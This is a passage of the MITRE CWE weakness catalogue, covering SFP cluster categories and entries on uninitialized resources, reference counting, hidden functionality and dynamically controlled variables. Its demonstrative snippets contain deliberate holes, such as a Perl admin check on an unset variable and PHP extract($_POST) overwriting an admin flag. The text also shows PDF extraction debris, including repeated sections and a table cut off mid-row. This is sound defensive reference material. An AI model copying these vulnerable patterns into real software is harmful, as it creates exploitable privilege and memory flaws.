</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888 1396</td>
</tr>
</tbody>
</table>

CWE-897: SFP Primary Cluster: Entry Points

Category ID: 897 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888 1414</td>
</tr>
</tbody>
</table>

CWE-898: SFP Primary Cluster: Authentication

Category ID: 898 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Authentication cluster.

Relationships

1330
CWE-899: SFP Primary Cluster: Access Control

Category ID: 899 (Category)  Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Access Control cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>1376</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
<td>1376</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>1376</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>950</td>
<td>SFP Secondary Cluster: Hardcoded Sensitive Data</td>
<td>1377</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
<td>1377</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>952</td>
<td>SFP Secondary Cluster: Missing Authentication</td>
<td>1377</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>953</td>
<td>SFP Secondary Cluster: Missing Endpoint Authentication</td>
<td>1378</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>954</td>
<td>SFP Secondary Cluster: Multiple Binds to the Same Port</td>
<td>1378</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>955</td>
<td>SFP Secondary Cluster: Unrestricted Authentication</td>
<td>1378</td>
</tr>
</tbody>
</table>

CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID: 900 (View: Graph)  Status: Incomplete

Objective
CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

View Data

View Metrics

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>45</td>
<td>1006</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>4</td>
<td>245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>40</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>1</td>
<td>8</td>
</tr>
</tbody>
</table>

View Audience

Developers
By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Software Customers
If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators
Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>1312</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-901: SFP Primary Cluster: Privilege

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td>900  1313</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900  1313</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900  1314</td>
</tr>
</tbody>
</table>

References

CWE-901: SFP Primary Cluster: Privilege

Category ID: 901 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Privilege cluster.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>9</td>
<td>J2EE Misconfiguration: Weak Access Permissions for EJB Methods</td>
<td>888  7</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>888  441</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>888  472</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
<td>888  474</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>268</td>
<td>Privilege Chaining</td>
<td>888  476</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>888  478</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>270</td>
<td>Privilege Context Switching Error</td>
<td>888  480</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
<td>888  481</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>272</td>
<td>Least Privilege Violation</td>
<td>888  483</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
<td>888  488</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>520</td>
<td>.NET Misconfiguration: Use of Impersonation</td>
<td>888  864</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
<td>888  1012</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888  1327</td>
</tr>
</tbody>
</table>

CWE-902: SFP Primary Cluster: Channel

Category ID: 902 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Channel cluster.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888  1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888  1378</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>957</td>
<td>SFP Secondary Cluster: Protocol Error</td>
<td>888  1379</td>
</tr>
</tbody>
</table>

CWE-903: SFP Primary Cluster: Cryptography

Category ID: 903 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888  1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>958</td>
<td>SFP Secondary Cluster: Broken Cryptography</td>
<td>888  1379</td>
</tr>
</tbody>
</table>
CWE-904: SFP Primary Cluster: Malware

Category ID: 904 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Malware cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>69</td>
<td>Improper Handling of Windows ::DATA Alternate Data Stream</td>
<td>888 105</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>506</td>
<td>Embedded Malicious Code</td>
<td>888 854</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>507</td>
<td>Trojan Horse</td>
<td>888 855</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>508</td>
<td>Non-Replicating Malicious Code</td>
<td>888 856</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>509</td>
<td>Replicating Malicious Code (Virus or Worm)</td>
<td>888 857</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>510</td>
<td>Trapdoor</td>
<td>888 857</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>511</td>
<td>Logic/Time Bomb</td>
<td>888 859</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>512</td>
<td>Spyware</td>
<td>888 859</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>968</td>
<td>SFP Secondary Cluster: Covert Channel</td>
<td>888 1384</td>
</tr>
</tbody>
</table>

CWE-905: SFP Primary Cluster: Predictability

Category ID: 905 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>888 582</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>331</td>
<td>Insufficient Entropy</td>
<td>888 587</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>332</td>
<td>Insufficient Entropy in PRNG</td>
<td>888 588</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
<td>888 589</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>334</td>
<td>Small Space of Random Values</td>
<td>888 590</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>335</td>
<td>PRNG Seed Error</td>
<td>888 592</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>336</td>
<td>Same Seed in PRNG</td>
<td>888 593</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
<td>888 594</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
<td>888 595</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
<td>888 596</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>340</td>
<td>Predictability Problems</td>
<td>888 597</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>341</td>
<td>Predictable from Observable State</td>
<td>888 597</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
<td>888 599</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
<td>888 600</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
<td>888 601</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
<td>888 1327</td>
</tr>
</tbody>
</table>

CWE-906: SFP Primary Cluster: UI

Category ID: 906 (Category)
Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the UI cluster.

### CWE-907: SFP Primary Cluster: Other

**Category ID:** 907 (Category)  
**Status:** Incomplete

**Description**
This category identifies Software Fault Patterns (SFPs) within the Other cluster.

### CWE-908: Use of Uninitialized Resource

**Weakness ID:** 908 (Weakness Base)  
**Status:** Incomplete

**Description**

**Summary**
The software uses a resource that has not been properly initialized.

**Extended Description**
This can have security implications when the associated resource is expected to have certain properties or values.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Confidentiality**

**Read memory**

**Read application data**
When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

**Availability**

**DoS:** crash / exit / restart
The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

**Likelihood of Exploit**
Medium

**Demonstrative Examples**

**Example 1:**
Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.
Java Example:

```java
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

Example 2:
The following code intends to limit certain operations to the administrator only.

Perl Example:

```perl
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to “0” in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:
The following code intends to concatenate a string to a variable and print the string.

C Example:

```c
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the “hello world” string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn’t found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn’t found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1036</td>
<td>Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.</td>
</tr>
<tr>
<td>CVE-2008-0062</td>
<td>Lack of initialization triggers NULL pointer dereference or double-free.</td>
</tr>
<tr>
<td>CVE-2008-0063</td>
<td>Product does not clear memory contents when generating an error message, leading to information leak.</td>
</tr>
<tr>
<td>CVE-2008-0081</td>
<td>Uninitialized variable leads to code execution in popular desktop application.</td>
</tr>
<tr>
<td>CVE-2008-2934</td>
<td>Free of an uninitialized pointer leads to crash and possible code execution.</td>
</tr>
<tr>
<td>CVE-2008-3475</td>
<td>chain: Improper initialization leads to memory corruption.</td>
</tr>
<tr>
<td>CVE-2008-3597</td>
<td>chain: game server can access player data structures before initialization has happened leading to NULL dereference</td>
</tr>
<tr>
<td>CVE-2008-3688</td>
<td>chain: Uninitialized variable leads to infinite loop.</td>
</tr>
<tr>
<td>CVE-2008-4197</td>
<td>Use of uninitialized memory may allow code execution.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-909: Missing Initialization of Resource

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-0949</td>
<td>chain: improper initialization of memory can lead to NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-2692</td>
<td>chain: unitialized function pointers can be dereferenced allowing code execution</td>
</tr>
<tr>
<td>CVE-2009-3620</td>
<td>chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Implementation

Avoid race conditions (CWE-362) during initialization routines.

Build and Compilation

Run or compile the software with settings that generate warnings about uninitialized variables or data.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>909</td>
<td>Missing Initialization of Resource</td>
<td>1000</td>
</tr>
</tbody>
</table>

References


CWE-909: Missing Initialization of Resource

Weakness ID: 909 (Weakness Base) Status: Incomplete

Description

Summary

The software does not initialize a critical resource.

Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• Language-independent

Common Consequences

Confidentiality

Read memory

Read application data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.
Availability
DoS: crash / exit / restart
The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

Likelihood of Exploit
Medium

Demonstrative Examples

Example 1:
Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

**Java Example:**
```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
    ...
        initialized = true;
    }
```

Example 2:
The following code intends to limit certain operations to the administrator only.

**Perl Example:**
```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to “0” in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:
The following code intends to concatenate a string to a variable and print the string.

**C Example:**
```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn’t found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn’t found before the end of the memory segment is reached, leading to a segmentation fault and crash.
Potential Mitigations

Implementation
- Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

Implementation
- Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Implementation
- Avoid race conditions (CWE-362) during initialization routines.

Build and Compilation
- Run or compile your software with settings that generate warnings about uninitialized variables or data.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>665</td>
<td>Improper Initialization</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>908</td>
<td>Use of Uninitialized Resource</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

CWE-910: Use of Expired File Descriptor

Weakness ID: 910 (Weakness Base) Status: Incomplete

Description

Summary
The software uses or accesses a file descriptor after it has been closed.

Extended Description
After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

Alternate Terms
Stale file descriptor

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C (Sometimes)
- C++ (Sometimes)
- Language-independent

Common Consequences
Confidentiality
Read files or directories
The program could read data from the wrong file.

Availability
DoS: crash / exit / restart
Accessing a file descriptor that has been closed can cause a crash.

Likelihood of Exploit
Medium

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
Resultant (where the weakness is typically related to the presence of some other weaknesses)
CWE-911: Improper Update of Reference Count

Weakness ID: 911 (Weakness Base)

Status: Incomplete

Description

Summary

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• C (Sometimes)
• C++ (Sometimes)
• Language-independent

Likelihood of Exploit

Medium

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0574</td>
<td>chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.</td>
</tr>
<tr>
<td>CVE-2004-0114</td>
<td>Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.</td>
</tr>
<tr>
<td>CVE-2006-3741</td>
<td>chain: improper reference count tracking leads to file descriptor consumption</td>
</tr>
<tr>
<td>CVE-2007-1383</td>
<td>chain: integer overflow in reference counter causes the same variable to be destroyed twice.</td>
</tr>
<tr>
<td>CVE-2007-1700</td>
<td>Incorrect reference count calculation leads to improper object destruction and code execution.</td>
</tr>
<tr>
<td>CVE-2008-2136</td>
<td>chain: incorrect update of reference count leads to memory leak.</td>
</tr>
<tr>
<td>CVE-2008-2785</td>
<td>chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use.</td>
</tr>
<tr>
<td>CVE-2008-5410</td>
<td>Improper reference counting leads to failure of cryptographic operations.</td>
</tr>
<tr>
<td>CVE-2009-1709</td>
<td>chain: improper reference counting in a garbage collection routine leads to use-after-free</td>
</tr>
<tr>
<td>CVE-2009-3553</td>
<td>chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free.</td>
</tr>
<tr>
<td>CVE-2009-3624</td>
<td>Reference count not always incremented, leading to crash or code execution.</td>
</tr>
<tr>
<td>CVE-2010-0176</td>
<td>improper reference counting leads to expired pointer dereference.</td>
</tr>
<tr>
<td>CVE-2010-0623</td>
<td>OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash.</td>
</tr>
<tr>
<td>CVE-2010-2549</td>
<td>OS kernel driver allows code execution</td>
</tr>
<tr>
<td>CVE-2010-4593</td>
<td>improper reference counting leads to exhaustion of IP addresses</td>
</tr>
<tr>
<td>CVE-2011-0695</td>
<td>Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference.</td>
</tr>
<tr>
<td>CVE-2012-4787</td>
<td>improper reference counting leads to use-after-free</td>
</tr>
</tbody>
</table>

Weakness Ordinalities
CWE-912: Hidden Functionality

Description

Summary
The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

Extended Description
Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
- Other
- Integrity
  - Varies by context
- Alter execution logic

Potential Mitigations

Installation
- Always verify the integrity of the software that is being installed.

Testing
- Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

References

CWE-913: Improper Control of Dynamically-Managed Code Resources

Description
Summary
The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

Extended Description
Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences
Integrity
Execute unauthorized code or commands
Other
Integrity
Varies by context
Alter execution logic

Potential Mitigations
Implementation
Input Validation
For any externally-influenced input, check the input against a white list of acceptable values.

Implementation
Architecture and Design
Refactoring
Refactor the code so that it does not need to be dynamically managed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>505</td>
<td>Intentionally Introduced Weakness</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>V</td>
<td>1028</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>1000</td>
<td>173</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td>1000</td>
<td>791</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
<td>699</td>
<td>1341</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>915</td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
<td>699</td>
<td>1343</td>
</tr>
</tbody>
</table>

CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID: 914 (Weakness Base) Status: Incomplete

Description

Summary
The software does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description
Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and
reduce development time, they can be extremely dangerous if attackers can modify unintended
variables that have security implications.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Integrity
Modify application data
An attacker could modify sensitive data or program variables.

Integrity
Execute unauthorized code or commands
Other
Integrity
Varies by context
Alter execution logic

Demonstrative Examples
This code uses the credentials sent in a POST request to login a user.

**PHP Example:**

```php
// Log user in, and set $isAdmin to true if user is an administrator
function login($user, $pass)
    {
        $query = buildQuery($user, $pass);
        mysql_query($query);
        if(getUserRole($user) == "Admin")
            {
                $isAdmin = true;
            }
    }
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user), mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this
case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin"
equal to "true", thus gaining Admin privileges.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2828</td>
<td>import_request_variables() buried in include files makes post-disclosure analysis confusing</td>
</tr>
<tr>
<td>CVE-2006-4019</td>
<td>Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.</td>
</tr>
<tr>
<td>CVE-2006-4904</td>
<td>Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.</td>
</tr>
<tr>
<td>CVE-2006-6661</td>
<td>extract() enables static code injection</td>
</tr>
<tr>
<td>CVE-2006-7079</td>
<td>extract used for register_globals compatibility layer, enables path traversal</td>
</tr>
<tr>
<td>CVE-2006-7135</td>
<td>extract issue enables file inclusion</td>
</tr>
<tr>
<td>CVE-2007-0649</td>
